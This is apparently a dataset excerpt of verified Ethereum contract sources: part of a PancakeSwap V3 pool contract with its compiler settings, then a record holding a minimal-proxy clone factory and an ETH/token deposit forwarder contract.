tickLower) {\n return (\n tickCumulativeLower - tickCumulativeUpper,\n secondsPerLiquidityOutsideLowerX128 - secondsPerLiquidityOutsideUpperX128,\n secondsOutsideLower - secondsOutsideUpper\n );\n } else if (_slot0.tick < tickUpper) {\n uint32 time = _blockTimestamp();\n (int56 tickCumulative, uint160 secondsPerLiquidityCumulativeX128) = observations.observeSingle(\n time,\n 0,\n _slot0.tick,\n _slot0.observationIndex,\n liquidity,\n _slot0.observationCardinality\n );\n return (\n tickCumulative - tickCumulativeLower - tickCumulativeUpper,\n secondsPerLiquidityCumulativeX128 -\n secondsPerLiquidityOutsideLowerX128 -\n secondsPerLiquidityOutsideUpperX128,\n time - secondsOutsideLower - secondsOutsideUpper\n );\n } else {\n return (\n tickCumulativeUpper - tickCumulativeLower,\n secondsPerLiquidityOutsideUpperX128 - secondsPerLiquidityOutsideLowerX128,\n secondsOutsideUpper - secondsOutsideLower\n );\n }\n }\n\n /// @inheritdoc IPancakeV3PoolDerivedState\n function observe(uint32[] calldata secondsAgos)\n external\n view\n override\n returns (int56[] memory tickCumulatives, uint160[] memory secondsPerLiquidityCumulativeX128s)\n {\n return\n observations.observe(\n _blockTimestamp(),\n secondsAgos,\n slot0.tick,\n slot0.observationIndex,\n liquidity,\n slot0.observationCardinality\n );\n }\n\n /// @inheritdoc IPancakeV3PoolActions\n function increaseObservationCardinalityNext(uint16 observationCardinalityNext)\n external\n override\n lock\n {\n uint16 observationCardinalityNextOld = slot0.observationCardinalityNext; // for the event\n uint16 observationCardinalityNextNew = observations.grow(\n observationCardinalityNextOld,\n observationCardinalityNext\n );\n slot0.observationCardinalityNext = observationCardinalityNextNew;\n if (observationCardinalityNextOld != observationCardinalityNextNew)\n emit IncreaseObservationCardinalityNext(observationCardinalityNextOld, observationCardinalityNextNew);\n }\n\n /// @inheritdoc IPancakeV3PoolActions\n /// @dev not locked because it initializes unlocked\n function initialize(uint160 sqrtPriceX96) external override {\n require(slot0.sqrtPriceX96 == 0, 'AI');\n\n int24 tick = TickMath.getTickAtSqrtRatio(sqrtPriceX96);\n\n (uint16 cardinality, uint16 cardinalityNext) = observations.initialize(_blockTimestamp());\n\n slot0 = Slot0({\n sqrtPriceX96: sqrtPriceX96,\n tick: tick,\n observationIndex: 0,\n observationCardinality: cardinality,\n observationCardinalityNext: cardinalityNext,\n feeProtocol: 209718400, // default value for all pools, 3200:3200, store 2 uint32 inside\n unlocked: true\n });\n\n if (fee == 100) {\n slot0.feeProtocol = 216272100; // value for 3300:3300, store 2 uint32 inside\n } else if (fee == 500) {\n slot0.feeProtocol = 222825800; // value for 3400:3400, store 2 uint32 inside\n } else if (fee == 2500) {\n slot0.feeProtocol = 209718400; // value for 3200:3200, store 2 uint32 inside\n } else if (fee == 10000) {\n slot0.feeProtocol = 209718400; // value for 3200:3200, store 2 uint32 inside\n }\n\n emit Initialize(sqrtPriceX96, tick);\n }\n\n struct ModifyPositionParams {\n // the address that owns the position\n address owner;\n // the lower and upper tick of the position\n int24 tickLower;\n int24 tickUpper;\n // any change in liquidity\n int128 liquidityDelta;\n }\n\n /// @dev Effect some changes to a position\n /// @param params the position details and the change to the position's liquidity to effect\n /// @return position a storage pointer referencing the position with the given owner and tick range\n /// @return amount0 the amount of token0 owed to the pool, negative if the pool should pay the recipient\n /// @return amount1 the amount of token1 owed to the pool, negative if the pool should pay the recipient\n function _modifyPosition(ModifyPositionParams memory params)\n private\n returns (\n Position.Info storage position,\n int256 amount0,\n int256 amount1\n )\n {\n checkTicks(params.tickLower, params.tickUpper);\n\n Slot0 memory _slot0 = slot0; // SLOAD for gas optimization\n\n position = _updatePosition(\n params.owner,\n params.tickLower,\n params.tickUpper,\n params.liquidityDelta,\n _slot0.tick\n );\n\n if (params.liquidityDelta != 0) {\n if (_slot0.tick < params.tickLower) {\n // current tick is below the passed range; liquidity can only become in range by crossing from left to\n // right, when we'll need _more_ token0 (it's becoming more valuable) so user must provide it\n amount0 = SqrtPriceMath.getAmount0Delta(\n TickMath.getSqrtRatioAtTick(params.tickLower),\n TickMath.getSqrtRatioAtTick(params.tickUpper),\n params.liquidityDelta\n );\n } else if (_slot0.tick < params.tickUpper) {\n // current tick is inside the passed range\n uint128 liquidityBefore = liquidity; // SLOAD for gas optimization\n\n // write an oracle entry\n (slot0.observationIndex, slot0.observationCardinality) = observations.write(\n _slot0.observationIndex,\n _blockTimestamp(),\n _slot0.tick,\n liquidityBefore,\n _slot0.observationCardinality,\n _slot0.observationCardinalityNext\n );\n\n amount0 = SqrtPriceMath.getAmount0Delta(\n _slot0.sqrtPriceX96,\n TickMath.getSqrtRatioAtTick(params.tickUpper),\n params.liquidityDelta\n );\n amount1 = SqrtPriceMath.getAmount1Delta(\n TickMath.getSqrtRatioAtTick(params.tickLower),\n _slot0.sqrtPriceX96,\n params.liquidityDelta\n );\n\n liquidity = LiquidityMath.addDelta(liquidityBefore, params.liquidityDelta);\n } else {\n // current tick is above the passed range; liquidity can only become in range by crossing from right to\n // left, when we'll need _more_ token1 (it's becoming more valuable) so user must provide it\n amount1 = SqrtPriceMath.getAmount1Delta(\n TickMath.getSqrtRatioAtTick(params.tickLower),\n TickMath.getSqrtRatioAtTick(params.tickUpper),\n params.liquidityDelta\n );\n }\n }\n }\n\n /// @dev Gets and updates a position with the given liquidity delta\n /// @param owner the owner of the position\n /// @param tickLower the lower tick of the position's tick range\n /// @param tickUpper the upper tick of the position's tick range\n /// @param tick the current tick, passed to avoid sloads\n function _updatePosition(\n address owner,\n int24 tickLower,\n int24 tickUpper,\n int128 liquidityDelta,\n int24 tick\n ) private returns (Position.Info storage position) {\n position = positions.get(owner, tickLower, tickUpper);\n\n uint256 _feeGrowthGlobal0X128 = feeGrowthGlobal0X128; // SLOAD for gas optimization\n uint256 _feeGrowthGlobal1X128 = feeGrowthGlobal1X128; // SLOAD for gas optimization\n\n // if we need to update the ticks, do it\n bool flippedLower;\n bool flippedUpper;\n if (liquidityDelta != 0) {\n uint32 time = _blockTimestamp();\n (int56 tickCumulative, uint160 secondsPerLiquidityCumulativeX128) = observations.observeSingle(\n time,\n 0,\n slot0.tick,\n slot0.observationIndex,\n liquidity,\n slot0.observationCardinality\n );\n\n flippedLower = ticks.update(\n tickLower,\n tick,\n liquidityDelta,\n _feeGrowthGlobal0X128,\n _feeGrowthGlobal1X128,\n secondsPerLiquidityCumulativeX128,\n tickCumulative,\n time,\n false,\n maxLiquidityPerTick\n );\n flippedUpper = ticks.update(\n tickUpper,\n tick,\n liquidityDelta,\n _feeGrowthGlobal0X128,\n _feeGrowthGlobal1X128,\n secondsPerLiquidityCumulativeX128,\n tickCumulative,\n time,\n true,\n maxLiquidityPerTick\n );\n\n if (flippedLower) {\n tickBitmap.flipTick(tickLower, tickSpacing);\n }\n if (flippedUpper) {\n tickBitmap.flipTick(tickUpper, tickSpacing);\n }\n }\n\n (uint256 feeGrowthInside0X128, uint256 feeGrowthInside1X128) = ticks.getFeeGrowthInside(\n tickLower,\n tickUpper,\n tick,\n _feeGrowthGlobal0X128,\n _feeGrowthGlobal1X128\n );\n\n position.update(liquidityDelta, feeGrowthInside0X128, feeGrowthInside1X128);\n\n // clear any tick data that is no longer needed\n if (liquidityDelta < 0) {\n if (flippedLower) {\n ticks.clear(tickLower);\n }\n if (flippedUpper) {\n ticks.clear(tickUpper);\n }\n }\n }\n\n /// @inheritdoc IPancakeV3PoolActions\n /// @dev noDelegateCall is applied indirectly via _modifyPosition\n function mint(\n address recipient,\n int24 tickLower,\n int24 tickUpper,\n uint128 amount,\n bytes calldata data\n ) external override lock returns (uint256 amount0, uint256 amount1) {\n require(amount > 0);\n (, int256 amount0Int, int256 amount1Int) = _modifyPosition(\n ModifyPositionParams({\n owner: recipient,\n tickLower: tickLower,\n tickUpper: tickUpper,\n liquidityDelta: int256(amount).toInt128()\n })\n );\n\n amount0 = uint256(amount0Int);\n amount1 = uint256(amount1Int);\n\n uint256 balance0Before;\n uint256 balance1Before;\n if (amount0 > 0) balance0Before = balance0();\n if (amount1 > 0) balance1Before = balance1();\n IPancakeV3MintCallback(msg.sender).pancakeV3MintCallback(amount0, amount1, data);\n if (amount0 > 0) require(balance0Before.add(amount0) <= balance0(), 'M0');\n if (amount1 > 0) require(balance1Before.add(amount1) <= balance1(), 'M1');\n\n emit Mint(msg.sender, recipient, tickLower, tickUpper, amount, amount0, amount1);\n }\n\n /// @inheritdoc IPancakeV3PoolActions\n function collect(\n address recipient,\n int24 tickLower,\n int24 tickUpper,\n uint128 amount0Requested,\n uint128 amount1Requested\n ) external override lock returns (uint128 amount0, uint128 amount1) {\n // we don't need to checkTicks here, because invalid positions will never have non-zero tokensOwed{0,1}\n Position.Info storage position = positions.get(msg.sender, tickLower, tickUpper);\n\n amount0 = amount0Requested > position.tokensOwed0 ? position.tokensOwed0 : amount0Requested;\n amount1 = amount1Requested > position.tokensOwed1 ? position.tokensOwed1 : amount1Requested;\n\n if (amount0 > 0) {\n position.tokensOwed0 -= amount0;\n TransferHelper.safeTransfer(token0, recipient, amount0);\n }\n if (amount1 > 0) {\n position.tokensOwed1 -= amount1;\n TransferHelper.safeTransfer(token1, recipient, amount1);\n }\n\n emit Collect(msg.sender, recipient, tickLower, tickUpper, amount0, amount1);\n }\n\n /// @inheritdoc IPancakeV3PoolActions\n /// @dev noDelegateCall is applied indirectly via _modifyPosition\n function burn(\n int24 tickLower,\n int24 tickUpper,\n uint128 amount\n ) external override lock returns (uint256 amount0, uint256 amount1) {\n (Position.Info storage position, int256 amount0Int, int256 amount1Int) = _modifyPosition(\n ModifyPositionParams({\n owner: msg.sender,\n tickLower: tickLower,\n tickUpper: tickUpper,\n liquidityDelta: -int256(amount).toInt128()\n })\n );\n\n amount0 = uint256(-amount0Int);\n amount1 = uint256(-amount1Int);\n\n if (amount0 > 0 || amount1 > 0) {\n (position.tokensOwed0, position.tokensOwed1) = (\n position.tokensOwed0 + uint128(amount0),\n position.tokensOwed1 + uint128(amount1)\n );\n }\n\n emit Burn(msg.sender, tickLower, tickUpper, amount, amount0, amount1);\n }\n\n struct SwapCache {\n // the protocol fee for the input token\n uint32 feeProtocol;\n // liquidity at the beginning of the swap\n uint128 liquidityStart;\n // the timestamp of the current block\n uint32 blockTimestamp;\n // the current value of the tick accumulator, computed only if we cross an initialized tick\n int56 tickCumulative;\n // the current value of seconds per liquidity accumulator, computed only if we cross an initialized tick\n uint160 secondsPerLiquidityCumulativeX128;\n // whether we've computed and cached the above two accumulators\n bool computedLatestObservation;\n }\n\n // the top level state of the swap, the results of which are recorded in storage at the end\n struct SwapState {\n // the amount remaining to be swapped in/out of the input/output asset\n int256 amountSpecifiedRemaining;\n // the amount already swapped out/in of the output/input asset\n int256 amountCalculated;\n // current sqrt(price)\n uint160 sqrtPriceX96;\n // the tick associated with the current price\n int24 tick;\n // the global fee growth of the input token\n uint256 feeGrowthGlobalX128;\n // amount of input token paid as protocol fee\n uint128 protocolFee;\n // the current liquidity in range\n uint128 liquidity;\n }\n\n struct StepComputations {\n // the price at the beginning of the step\n uint160 sqrtPriceStartX96;\n // the next tick to swap to from the current tick in the swap direction\n int24 tickNext;\n // whether tickNext is initialized or not\n bool initialized;\n // sqrt(price) for the next tick (1/0)\n uint160 sqrtPriceNextX96;\n // how much is being swapped in in this step\n uint256 amountIn;\n // how much is being swapped out\n uint256 amountOut;\n // how much fee is being paid in\n uint256 feeAmount;\n }\n\n /// @inheritdoc IPancakeV3PoolActions\n function swap(\n address recipient,\n bool zeroForOne,\n int256 amountSpecified,\n uint160 sqrtPriceLimitX96,\n bytes calldata data\n ) external override returns (int256 amount0, int256 amount1) {\n require(amountSpecified != 0, 'AS');\n\n Slot0 memory slot0Start = slot0;\n\n require(slot0Start.unlocked, 'LOK');\n require(\n zeroForOne\n ? sqrtPriceLimitX96 < slot0Start.sqrtPriceX96 && sqrtPriceLimitX96 > TickMath.MIN_SQRT_RATIO\n : sqrtPriceLimitX96 > slot0Start.sqrtPriceX96 && sqrtPriceLimitX96 < TickMath.MAX_SQRT_RATIO,\n 'SPL'\n );\n\n slot0.unlocked = false;\n\n SwapCache memory cache = SwapCache({\n liquidityStart: liquidity,\n blockTimestamp: _blockTimestamp(),\n feeProtocol: zeroForOne ? (slot0Start.feeProtocol % PROTOCOL_FEE_SP) : (slot0Start.feeProtocol >> 16),\n secondsPerLiquidityCumulativeX128: 0,\n tickCumulative: 0,\n computedLatestObservation: false\n });\n\n if (address(lmPool) != address(0)) {\n lmPool.accumulateReward(cache.blockTimestamp);\n }\n\n bool exactInput = amountSpecified > 0;\n\n SwapState memory state = SwapState({\n amountSpecifiedRemaining: amountSpecified,\n amountCalculated: 0,\n sqrtPriceX96: slot0Start.sqrtPriceX96,\n tick: slot0Start.tick,\n feeGrowthGlobalX128: zeroForOne ? feeGrowthGlobal0X128 : feeGrowthGlobal1X128,\n protocolFee: 0,\n liquidity: cache.liquidityStart\n });\n\n // continue swapping as long as we haven't used the entire input/output and haven't reached the price limit\n while (state.amountSpecifiedRemaining != 0 && state.sqrtPriceX96 != sqrtPriceLimitX96) {\n StepComputations memory step;\n\n step.sqrtPriceStartX96 = state.sqrtPriceX96;\n\n (step.tickNext, step.initialized) = tickBitmap.nextInitializedTickWithinOneWord(\n state.tick,\n tickSpacing,\n zeroForOne\n );\n\n // ensure that we do not overshoot the min/max tick, as the tick bitmap is not aware of these bounds\n if (step.tickNext < TickMath.MIN_TICK) {\n step.tickNext = TickMath.MIN_TICK;\n } else if (step.tickNext > TickMath.MAX_TICK) {\n step.tickNext = TickMath.MAX_TICK;\n }\n\n // get the price for the next tick\n step.sqrtPriceNextX96 = TickMath.getSqrtRatioAtTick(step.tickNext);\n\n // compute values to swap to the target tick, price limit, or point where input/output amount is exhausted\n (state.sqrtPriceX96, step.amountIn, step.amountOut, step.feeAmount) = SwapMath.computeSwapStep(\n state.sqrtPriceX96,\n (zeroForOne ? step.sqrtPriceNextX96 < sqrtPriceLimitX96 : step.sqrtPriceNextX96 > sqrtPriceLimitX96)\n ? sqrtPriceLimitX96\n : step.sqrtPriceNextX96,\n state.liquidity,\n state.amountSpecifiedRemaining,\n fee\n );\n\n if (exactInput) {\n state.amountSpecifiedRemaining -= (step.amountIn + step.feeAmount).toInt256();\n state.amountCalculated = state.amountCalculated.sub(step.amountOut.toInt256());\n } else {\n state.amountSpecifiedRemaining += step.amountOut.toInt256();\n state.amountCalculated = state.amountCalculated.add((step.amountIn + step.feeAmount).toInt256());\n }\n\n // if the protocol fee is on, calculate how much is owed, decrement feeAmount, and increment protocolFee\n if (cache.feeProtocol > 0) {\n uint256 delta = (step.feeAmount.mul(cache.feeProtocol)) / PROTOCOL_FEE_DENOMINATOR;\n step.feeAmount -= delta;\n state.protocolFee += uint128(delta);\n }\n\n // update global fee tracker\n if (state.liquidity > 0)\n state.feeGrowthGlobalX128 += FullMath.mulDiv(step.feeAmount, FixedPoint128.Q128, state.liquidity);\n\n // shift tick if we reached the next price\n if (state.sqrtPriceX96 == step.sqrtPriceNextX96) {\n // if the tick is initialized, run the tick transition\n if (step.initialized) {\n // check for the placeholder value, which we replace with the actual value the first time the swap\n // crosses an initialized tick\n if (!cache.computedLatestObservation) {\n (cache.tickCumulative, cache.secondsPerLiquidityCumulativeX128) = observations.observeSingle(\n cache.blockTimestamp,\n 0,\n slot0Start.tick,\n slot0Start.observationIndex,\n cache.liquidityStart,\n slot0Start.observationCardinality\n );\n cache.computedLatestObservation = true;\n }\n\n if (address(lmPool) != address(0)) {\n lmPool.crossLmTick(step.tickNext, zeroForOne);\n }\n\n int128 liquidityNet = ticks.cross(\n step.tickNext,\n (zeroForOne ? state.feeGrowthGlobalX128 : feeGrowthGlobal0X128),\n (zeroForOne ? feeGrowthGlobal1X128 : state.feeGrowthGlobalX128),\n cache.secondsPerLiquidityCumulativeX128,\n cache.tickCumulative,\n cache.blockTimestamp\n );\n // if we're moving leftward, we interpret liquidityNet as the opposite sign\n // safe because liquidityNet cannot be type(int128).min\n if (zeroForOne) liquidityNet = -liquidityNet;\n\n state.liquidity = LiquidityMath.addDelta(state.liquidity, liquidityNet);\n }\n\n state.tick = zeroForOne ? step.tickNext - 1 : step.tickNext;\n } else if (state.sqrtPriceX96 != step.sqrtPriceStartX96) {\n // recompute unless we're on a lower tick boundary (i.e. already transitioned ticks), and haven't moved\n state.tick = TickMath.getTickAtSqrtRatio(state.sqrtPriceX96);\n }\n }\n\n // update tick and write an oracle entry if the tick change\n if (state.tick != slot0Start.tick) {\n (uint16 observationIndex, uint16 observationCardinality) = observations.write(\n slot0Start.observationIndex,\n cache.blockTimestamp,\n slot0Start.tick,\n cache.liquidityStart,\n slot0Start.observationCardinality,\n slot0Start.observationCardinalityNext\n );\n (slot0.sqrtPriceX96, slot0.tick, slot0.observationIndex, slot0.observationCardinality) = (\n state.sqrtPriceX96,\n state.tick,\n observationIndex,\n observationCardinality\n );\n } else {\n // otherwise just update the price\n slot0.sqrtPriceX96 = state.sqrtPriceX96;\n }\n\n // update liquidity if it changed\n if (cache.liquidityStart != state.liquidity) liquidity = state.liquidity;\n\n uint128 protocolFeesToken0 = 0;\n uint128 protocolFeesToken1 = 0;\n\n // update fee growth global and, if necessary, protocol fees\n // overflow is acceptable, protocol has to withdraw before it hits type(uint128).max fees\n if (zeroForOne) {\n feeGrowthGlobal0X128 = state.feeGrowthGlobalX128;\n if (state.protocolFee > 0) protocolFees.token0 += state.protocolFee;\n protocolFeesToken0 = state.protocolFee;\n } else {\n feeGrowthGlobal1X128 = state.feeGrowthGlobalX128;\n if (state.protocolFee > 0) protocolFees.token1 += state.protocolFee;\n protocolFeesToken1 = state.protocolFee;\n }\n\n (amount0, amount1) = zeroForOne == exactInput\n ? (amountSpecified - state.amountSpecifiedRemaining, state.amountCalculated)\n : (state.amountCalculated, amountSpecified - state.amountSpecifiedRemaining);\n\n // do the transfers and collect payment\n if (zeroForOne) {\n if (amount1 < 0) TransferHelper.safeTransfer(token1, recipient, uint256(-amount1));\n\n uint256 balance0Before = balance0();\n IPancakeV3SwapCallback(msg.sender).pancakeV3SwapCallback(amount0, amount1, data);\n require(balance0Before.add(uint256(amount0)) <= balance0(), 'IIA');\n } else {\n if (amount0 < 0) TransferHelper.safeTransfer(token0, recipient, uint256(-amount0));\n\n uint256 balance1Before = balance1();\n IPancakeV3SwapCallback(msg.sender).pancakeV3SwapCallback(amount0, amount1, data);\n require(balance1Before.add(uint256(amount1)) <= balance1(), 'IIA');\n }\n\n emit Swap(msg.sender, recipient, amount0, amount1, state.sqrtPriceX96, state.liquidity, state.tick, protocolFeesToken0, protocolFeesToken1);\n slot0.unlocked = true;\n }\n\n /// @inheritdoc IPancakeV3PoolActions\n function flash(\n address recipient,\n uint256 amount0,\n uint256 amount1,\n bytes calldata data\n ) external override lock {\n uint128 _liquidity = liquidity;\n require(_liquidity > 0, 'L');\n\n uint256 fee0 = FullMath.mulDivRoundingUp(amount0, fee, 1e6);\n uint256 fee1 = FullMath.mulDivRoundingUp(amount1, fee, 1e6);\n uint256 balance0Before = balance0();\n uint256 balance1Before = balance1();\n\n if (amount0 > 0) TransferHelper.safeTransfer(token0, recipient, amount0);\n if (amount1 > 0) TransferHelper.safeTransfer(token1, recipient, amount1);\n\n IPancakeV3FlashCallback(msg.sender).pancakeV3FlashCallback(fee0, fee1, data);\n\n uint256 balance0After = balance0();\n uint256 balance1After = balance1();\n\n require(balance0Before.add(fee0) <= balance0After, 'F0');\n require(balance1Before.add(fee1) <= balance1After, 'F1');\n\n // sub is safe because we know balanceAfter is gt balanceBefore by at least fee\n uint256 paid0 = balance0After - balance0Before;\n uint256 paid1 = balance1After - balance1Before;\n\n if (paid0 > 0) {\n uint32 feeProtocol0 = slot0.feeProtocol % PROTOCOL_FEE_SP;\n uint256 fees0 = feeProtocol0 == 0 ? 0 : (paid0 * feeProtocol0) / PROTOCOL_FEE_DENOMINATOR;\n if (uint128(fees0) > 0) protocolFees.token0 += uint128(fees0);\n feeGrowthGlobal0X128 += FullMath.mulDiv(paid0 - fees0, FixedPoint128.Q128, _liquidity);\n }\n if (paid1 > 0) {\n uint32 feeProtocol1 = slot0.feeProtocol >> 16;\n uint256 fees1 = feeProtocol1 == 0 ? 0 : (paid1 * feeProtocol1) / PROTOCOL_FEE_DENOMINATOR;\n if (uint128(fees1) > 0) protocolFees.token1 += uint128(fees1);\n feeGrowthGlobal1X128 += FullMath.mulDiv(paid1 - fees1, FixedPoint128.Q128, _liquidity);\n }\n\n emit Flash(msg.sender, recipient, amount0, amount1, paid0, paid1);\n }\n\n /// @inheritdoc IPancakeV3PoolOwnerActions\n function setFeeProtocol(uint32 feeProtocol0, uint32 feeProtocol1) external override lock onlyFactoryOrFactoryOwner {\n require(\n (feeProtocol0 == 0 || (feeProtocol0 >= 1000 && feeProtocol0 <= 4000)) &&\n (feeProtocol1 == 0 || (feeProtocol1 >= 1000 && feeProtocol1 <= 4000))\n );\n\n uint32 feeProtocolOld = slot0.feeProtocol;\n slot0.feeProtocol = feeProtocol0 + (feeProtocol1 << 16);\n emit SetFeeProtocol(feeProtocolOld % PROTOCOL_FEE_SP, feeProtocolOld >> 16, feeProtocol0, feeProtocol1);\n }\n\n /// @inheritdoc IPancakeV3PoolOwnerActions\n function collectProtocol(\n address recipient,\n uint128 amount0Requested,\n uint128 amount1Requested\n ) external override lock onlyFactoryOrFactoryOwner returns (uint128 amount0, uint128 amount1) {\n amount0 = amount0Requested > protocolFees.token0 ? protocolFees.token0 : amount0Requested;\n amount1 = amount1Requested > protocolFees.token1 ? protocolFees.token1 : amount1Requested;\n\n if (amount0 > 0) {\n if (amount0 == protocolFees.token0) amount0--; // ensure that the slot is not cleared, for gas savings\n protocolFees.token0 -= amount0;\n TransferHelper.safeTransfer(token0, recipient, amount0);\n }\n if (amount1 > 0) {\n if (amount1 == protocolFees.token1) amount1--; // ensure that the slot is not cleared, for gas savings\n protocolFees.token1 -= amount1;\n TransferHelper.safeTransfer(token1, recipient, amount1);\n }\n\n emit CollectProtocol(msg.sender, recipient, amount0, amount1);\n }\n\n function setLmPool(address _lmPool) external override onlyFactoryOrFactoryOwner {\n lmPool = IPancakeV3LmPool(_lmPool);\n emit SetLmPoolEvent(address(_lmPool));\n }\n}\n"
}
},
"settings": {
"evmVersion": "istanbul",
"optimizer": {
"enabled": true,
"runs": 400
},
"metadata": {
"bytecodeHash": "none"
},
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"devdoc",
"userdoc",
"metadata",
"abi"
]
}
},
"libraries": {}
}
}} |
1 | 19,495,025 | aac52fdd4761934a8780d38d1738c5bde5d777ce002be00551c4c2394aa5a4b5 | 73f1bec34e89d93fb1341305f34490c36055dc6da3194af08bbeeeecbe2e8575 | 4fd1719fc6a104c1884125e754b04e3540136425 | ffa397285ce46fb78c588a9e993286aac68c37cd | 28494ef4e43da32582d5713ff9fc9bebf54dae51 | 3d602d80600a3d3981f3363d3d373d3d3d363d73059ffafdc6ef594230de44f824e2bd0a51ca5ded5af43d82803e903d91602b57fd5bf3 | 363d3d373d3d3d363d73059ffafdc6ef594230de44f824e2bd0a51ca5ded5af43d82803e903d91602b57fd5bf3 | pragma solidity 0.7.5;
/*
The MIT License (MIT)
Copyright (c) 2018 Murray Software, LLC.
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
"Software"), to deal in the Software without restriction, including
without limitation the rights to use, copy, modify, merge, publish,
distribute, sublicense, and/or sell copies of the Software, and to
permit persons to whom the Software is furnished to do so, subject to
the following conditions:
The above copyright notice and this permission notice shall be included
in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*/
//solhint-disable max-line-length
//solhint-disable no-inline-assembly
contract CloneFactory {
function createClone(address target, bytes32 salt)
internal
returns (address payable result)
{
bytes20 targetBytes = bytes20(target);
assembly {
// load the next free memory slot as a place to store the clone contract data
let clone := mload(0x40)
// The bytecode block below is responsible for contract initialization
// during deployment, it is worth noting the proxied contract constructor will not be called during
// the cloning procedure and that is why an initialization function needs to be called after the
// clone is created
mstore(
clone,
0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000
)
// This stores the address location of the implementation contract
// so that the proxy knows where to delegate call logic to
mstore(add(clone, 0x14), targetBytes)
// The bytecode block is the actual code that is deployed for each clone created.
// It forwards all calls to the already deployed implementation via a delegatecall
mstore(
add(clone, 0x28),
0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000
)
// deploy the contract using the CREATE2 opcode
// this deploys the minimal proxy defined above, which will proxy all
// calls to use the logic defined in the implementation contract `target`
result := create2(0, clone, 0x37, salt)
}
}
function isClone(address target, address query)
internal
view
returns (bool result)
{
bytes20 targetBytes = bytes20(target);
assembly {
// load the next free memory slot as a place to store the comparison clone
let clone := mload(0x40)
// The next three lines store the expected bytecode for a miniml proxy
// that targets `target` as its implementation contract
mstore(
clone,
0x363d3d373d3d3d363d7300000000000000000000000000000000000000000000
)
mstore(add(clone, 0xa), targetBytes)
mstore(
add(clone, 0x1e),
0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000
)
// the next two lines store the bytecode of the contract that we are checking in memory
let other := add(clone, 0x40)
extcodecopy(query, other, 0, 0x2d)
// Check if the expected bytecode equals the actual bytecode and return the result
result := and(
eq(mload(clone), mload(other)),
eq(mload(add(clone, 0xd)), mload(add(other, 0xd)))
)
}
}
}
/**
* Contract that exposes the needed erc20 token functions
*/
abstract contract ERC20Interface {
// Send _value amount of tokens to address _to
function transfer(address _to, uint256 _value)
public
virtual
returns (bool success);
// Get the account balance of another account with address _owner
function balanceOf(address _owner)
public
virtual
view
returns (uint256 balance);
}
// helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false
library TransferHelper {
function safeApprove(
address token,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('approve(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::safeApprove: approve failed'
);
}
function safeTransfer(
address token,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('transfer(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::safeTransfer: transfer failed'
);
}
function safeTransferFrom(
address token,
address from,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('transferFrom(address,address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::transferFrom: transferFrom failed'
);
}
function safeTransferETH(address to, uint256 value) internal {
(bool success, ) = to.call{value: value}(new bytes(0));
require(success, 'TransferHelper::safeTransferETH: ETH transfer failed');
}
}
/**
* Contract that will forward any incoming Ether to the creator of the contract
*
*/
contract Forwarder {
// Address to which any funds sent to this contract will be forwarded
address public parentAddress;
event ForwarderDeposited(address from, uint256 value, bytes data);
/**
* Initialize the contract, and sets the destination address to that of the creator
*/
function init(address _parentAddress) external onlyUninitialized {
parentAddress = _parentAddress;
uint256 value = address(this).balance;
if (value == 0) {
return;
}
(bool success, ) = parentAddress.call{ value: value }('');
require(success, 'Flush failed');
// NOTE: since we are forwarding on initialization,
// we don't have the context of the original sender.
// We still emit an event about the forwarding but set
// the sender to the forwarder itself
emit ForwarderDeposited(address(this), value, msg.data);
}
/**
* Modifier that will execute internal code block only if the sender is the parent address
*/
modifier onlyParent {
require(msg.sender == parentAddress, 'Only Parent');
_;
}
/**
* Modifier that will execute internal code block only if the contract has not been initialized yet
*/
modifier onlyUninitialized {
require(parentAddress == address(0x0), 'Already initialized');
_;
}
/**
* Default function; Gets called when data is sent but does not match any other function
*/
fallback() external payable {
flush();
}
/**
* Default function; Gets called when Ether is deposited with no data, and forwards it to the parent address
*/
receive() external payable {
flush();
}
/**
* Execute a token transfer of the full balance from the forwarder token to the parent address
* @param tokenContractAddress the address of the erc20 token contract
*/
function flushTokens(address tokenContractAddress) external onlyParent {
ERC20Interface instance = ERC20Interface(tokenContractAddress);
address forwarderAddress = address(this);
uint256 forwarderBalance = instance.balanceOf(forwarderAddress);
if (forwarderBalance == 0) {
return;
}
TransferHelper.safeTransfer(
tokenContractAddress,
parentAddress,
forwarderBalance
);
}
/**
* Flush the entire balance of the contract to the parent address.
*/
function flush() public {
uint256 value = address(this).balance;
if (value == 0) {
return;
}
(bool success, ) = parentAddress.call{ value: value }('');
require(success, 'Flush failed');
emit ForwarderDeposited(msg.sender, value, msg.data);
}
}
contract ForwarderFactory is CloneFactory {
address public implementationAddress;
event ForwarderCreated(address newForwarderAddress, address parentAddress);
constructor(address _implementationAddress) {
implementationAddress = _implementationAddress;
}
function createForwarder(address parent, bytes32 salt) external {
// include the signers in the salt so any contract deployed to a given address must have the same signers
bytes32 finalSalt = keccak256(abi.encodePacked(parent, salt));
address payable clone = createClone(implementationAddress, finalSalt);
Forwarder(clone).init(parent);
emit ForwarderCreated(clone, parent);
}
} |
